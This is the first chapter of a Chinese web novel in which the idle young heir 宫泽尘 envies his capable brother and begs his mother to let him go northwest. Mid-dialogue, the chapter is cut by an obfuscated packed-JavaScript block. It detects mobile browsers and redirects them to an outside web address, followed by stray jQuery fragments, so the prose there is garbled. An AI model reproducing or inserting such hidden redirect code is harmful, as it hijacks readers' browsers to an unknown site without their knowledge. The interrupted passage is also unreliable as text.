1. 踌躇

作品:《揽日照山河

    “三公子好雅兴!”


    宫泽尘倚靠在醉心楼的阑干,看着脚下来往搬运货物的人们,心神刚从九霄云外飞回。少年五官流畅柔和,似是远古壁画上雌雄莫辨的仙子。


    “你们倒是有干劲儿,明年年初才去西幽做买卖,怎么没入腊月就开始折腾起来?”说着,他酎了口酒,却发现壶里空了,便将壶鋬套在食指上百无聊赖地转着圈。


    “三公子怎么消息不大灵通,咱们往常走的是官道,在驿站歇脚,原本是打算出了正月再上路的,谁知月初打京城来了个提督,嫌我们占了人官家的道儿,把驿站连着东西向好几条官道全封了。”汪顺话里带着些许不满。


    “也不是多金贵的人,那就走土路呗!”


    “嘿这话说的,北地打仗打的那么凶,多少逃兵役的落草为寇,走土路白白给他们送银子?多亏了二公子……”他停下手里的活儿,双手相握举起拇指,既是赞许又是谄媚,“现在应该叫宫大人了,我们跟着粮草大军北上,有上万精兵把守,土匪草寇也就不敢轻举妄动了。”


    黎国北地战事连年,曾事农耕的壮丁尽数充军,西北境本就不甚肥沃的壤土接连荒废,加之黎国以东有一小国名曰“莱”,几十年间迅速崛起,尤其是近几年,有向黎国方向扩张的动作。


    北地军粮告罄,朝廷遂令宫家从东南粮仓调物资以支援,押运总督正是宫泽尘的二哥宫楚让。


    “占完官家的道儿,又蹭官家的兵,可真是给你们占尽好处,要不说你们会做买卖呢。”宫泽尘的调侃令楼底下的百姓们哈哈大笑。


    “三公子怎么不说说我们岭南为黎国国库填补了多少亏空,老杨家一撒腿,花钱如流水,国库空了,苛捐杂税就多了,专挤着我们岭南欺负,谁让我们商户多呢,银子上交了,总不能半点好处捞不着吧!”


    这老杨家说的是西北杨氏,这家人从祖到孙,从老到少都争强好胜,如今当家的是卫国公杨肃,在北地统军作战已逾三十载,率军北扩疆域三成,功勋直追开国先祖。


    汪顺这话倒令宫泽尘颇为赞许,虽然他宫家不缺银子,他宫泽尘自然也不缺银子,但他更愿意看到邻里乡亲生活和顺。琼岭以南皆是他宫家的辖区,这里的百姓安居乐业,他宫家才能屹立不倒。


    “三公子怎么没考虑跟我们一道北上去看看?”


    宫泽尘皱眉道:“西北不是荒得很吗,我们岭南是黎国最为富庶之地,那儿有什么是我们这里见不着的?”


    他话虽这样说,心里却早对西北心驰神往。传言西北旷野一望无际,烟耸云霄,风摧边关,虽不及岭南繁华,却人人活得潇洒恣意。还有西幽那个神秘的国度,北接天海高原,孕育了各种奇闻异事,他早厌倦了岭南这个被宫家势力笼罩多年的温床,想出去看看,去听听。


    “三公子此言差矣,那里确实地广人稀,但那儿当官的多,我可听说当今朝廷上得有五六成的官员都是打西北那二十四座城出来的。”汪顺神色颇有些玩味。


    “竟如此夸张?可跟我有什么关系?”


    宫泽尘自幼纨绔,行文习武一窍不通,自然对朝堂没什么兴趣。


    “三公子还真是不食人间烟火啊……”


    宫泽尘察觉他话里有话,便追问道:“汪叔你别打哑谜,我脑袋不灵光,猜不着,你就直说吧!”


    汪顺朗声笑道:“三公子觉得这二公子奉朝廷之命北上,就只是押运粮草这么简单吗?”


    宫泽尘细细想来,确实觉得有些奇怪。


    两年前,二哥打通了西幽国商路,皇帝为表嘉奖,曾为二哥和容意公主指婚,但二哥却因心有所属而抗旨拒婚,后另行邀赏,想在北地粮仓告罄时担任押运总督。确切说,这一职位并非皇帝钦点,而是二哥求来的。


    “难不成,是二哥有入朝为官的打算?不会吧,我们家已经许久没出过朝臣了。”


    汪顺刚要点头,后又无奈地摇摇头。


    宫泽尘所说非虚,宫家祖上是黎国开国三将之一,早年便看出杨家想要垄断朝廷势力的野心,为明哲保身,鲜少插手朝廷。自宫泽尘的祖父起便只封爵位,不领官职,若朝廷需要,最多临时封个地方官,譬如宫楚让。


    汪顺早年得宫家庇护,在岭南的生意风生水起,宫泽尘和宫楚让都是他看着长大的,自然也希望他们前途无量。


    宫楚让自幼卓尔不凡,文武双,黎国万千青年才彦之中无出其右,自是不会让人担忧。可这宫泽尘从小到大都顽皮厌学,心思也单纯,不懂得审时度势,学业事业一直没什么起色。


    若说他真要一辈子在家无所事事,宫家自然养得起。但汪顺瞧着这宫家对宫泽尘远没有宫楚让那样上心,宫楚让每每在人前显贵,宫泽尘眼里都不乏艳羡之意,可他又不争不抢,汪顺常常为他觉得憋屈,索性能推一把是一把。


    点到为止,汪顺又忙起手头的事。


    二哥要入朝为官,宫泽尘难以轻信。可若真如此,心里倒生出些酸溜溜的感觉。


    打宫泽尘记事开始,哥哥便是宫家的骄傲,自己却处处闯祸令爹娘担心。功课做的差,教书夫子一贯拿哥哥对比,导致宫泽尘曾一度认为自己比不上哥哥,唯一值得一提的长处就是这副美貌。


    但就在两年前,国库亏空,百姓也勒紧裤腰带,岭南商户从南图国进购的商物在黎国滞销,宫明烨和宫楚让为此头疼不已。


    宫泽尘那时灵光一闪:“在黎国卖不出去,便卖到西幽国,顺便宰上一宰!”


    “说得轻巧,岭南离西幽国边关上千里,差旅费用谁来出?再说,西幽国未必看得上南图国的东西,到时候没人买,又搭上路费,岂不赔本?”宫楚让反驳道。


    “西幽国不是崇尚美貌吗?我们找最好的画师给黎国那些倾国倾城的美人画像,和货物一同贩卖,我不信他们不买咱的账。”


    说出这话时,宫泽尘还觉得离谱,只当是开了几句玩笑。


    可谁知,宫楚让后来真的照做了,将宫泽尘的画像拓印了上万幅,同货物捆绑销售,只一趟,就将滞销黎国的商品全部售空。不仅如此,还和西幽当地商户商榷,每年年初为西幽输送南图国的货物,岭南不少因经济颓靡而倒闭的商户也重新运作起来。


    因着这档子事,宫楚让在岭南名声大噪。


    “可这明明是我出的主意。”


    宫泽尘不止一次在人前愤愤不平,但无人相信,毕竟从头到尾都是宫楚让忙来忙去,宫泽尘一直待在岭南,不是吃酒,就是闷头大睡。


    打那以后,宫泽尘喝酒喝得更凶了,在这醉心楼一待便是一宿。


    宫泽尘虽不务正业游手好闲,但脾气却极好,被人欺负能溜就溜,从不还手,也因此总受街坊孩子们嘲弄。有一回,楼底下几个调皮捣蛋的小子看这宫泽尘酩酊大醉,捡来一堆石头掷他,谁没打中便受罚。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152294|164879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宫三废物没出息,空将颜色换酒浆,吃闷酒睡大觉,讨不着媳妇离不开娘……”这群孩子也是嘴欠,专戳宫泽尘肺管子。


    宫泽尘起初只是呵呵傻笑:“你们都看不起我,我最没出息。”石头打在他的小腿和脚上,不痛不痒。


    不知哪个朝他胸口狠狠投来,疼得他“嗷呜”一声大叫,胸中怒火中烧,借着酒劲儿,把石头掷了回去,正中那孩子的脑袋。那孩子登时就倒地不起,老板吓得连夜找郎中,最后诊断只是点皮外伤,并未伤及筋骨。


    虽然那孩子的爹娘得理不饶人,朝宫家讨了不少银子作为补偿,但宫泽尘心里确生出前所未有的爽意。


    想到这里,宫泽尘压制很久的那种不平衡不甘心的感觉又破土而出,在汪顺的话和与哥哥的回忆中滋长。二哥确实比他大两岁,而他也已是弱冠之年,哥哥两年前可以带队前往西幽,他觉得他也没什么不行。


    不多时,宫泽尘下了楼台,一道回到宫家宅邸怀音庭。


    朱漆大门巍峨耸立,门环上精雕细琢的莲花纹样在阳光下泛着温润的光泽。跨过门槛,迎面是一道青砖影壁,壁上绘着松鹤延年的水墨画,墨色淋漓,笔力遒劲。绕过影壁,眼前豁然开朗,一条青石小径蜿蜒向前,两侧种着奇花异草,秋风拂过,幽香氤氲。


    宫夫人祝瑶原是南图国贵女,嫁到黎国后想念家乡的光景,宫明烨便在怀音庭为她种满南图国特有的花草。


    她平日里从不管理家中大小事务,全权交由宫家长子,自己便打理花草,安度晚年。


    宫泽尘一向是不常来她这里的,一来,宫夫人就唠叨个不停,一边担忧他到处喝酒垮了身子,一边怕他在家闷着憋坏了。总之就是捧在手里怕碎了,含在嘴里怕化了。


    见到他来,宫夫人忙放下花洒,两只手在身上蹭了蹭。


    “娘,我想和二哥一起去西北看看。”


    “那儿有什么可看的,这潭州,这岭南还不够你看的?”


    “不一样啊,西北有风沙遍野,大漠孤烟,镇北铁骑骁勇善战,万里白雪银装素裹,还有……”


    宫夫人不语,想看看他还能说出什么花样。


    “还有……哥哥能去,为什么我不能?”宫泽尘直言不讳。


    宫夫人捡起地上的花洒,继续浇花。


    “你哥哥多大,你多大?端州,那是战场,刀光剑影,血肉横飞……去一个你哥哥都够我们担惊受怕的了,再去一个你,且不说楚让能不能顾得来,你自己这一路上要遭多少罪你想过吗?”


    “我……我能照顾我自己。”


    “你就是去西南白泽湖,去南图国,我都不带担心的,唯独去北地这件事,我不同意,你爹也不会同意。”


    “那我不去北地,我就到西遥城,这总行吧?”


    “西遥城那都是些什么人啊?勾心斗角,尔虞我诈,你去了,人家三两句话就能把你骗到山沟里。京城派到西遥城那个提督你听说了吧?比你都小一岁,还是个丫头,你说她能凭什么在官场上吃得开?”


    宫夫人话里话外是觉得这女提督凭借女儿身行了见不得人的腌臜事,以此说明这西遥城肮脏不堪。


    宫泽尘其实是有些怕了的,但若就此放弃,又不甘心。不过他宫泽尘是谁啊,只要心一横,别问敢不敢,他的面前从来没有退缩这个选择,横冲直撞行不通便先斩后奏。但宫夫人向来说一不二,显然硬来不可取。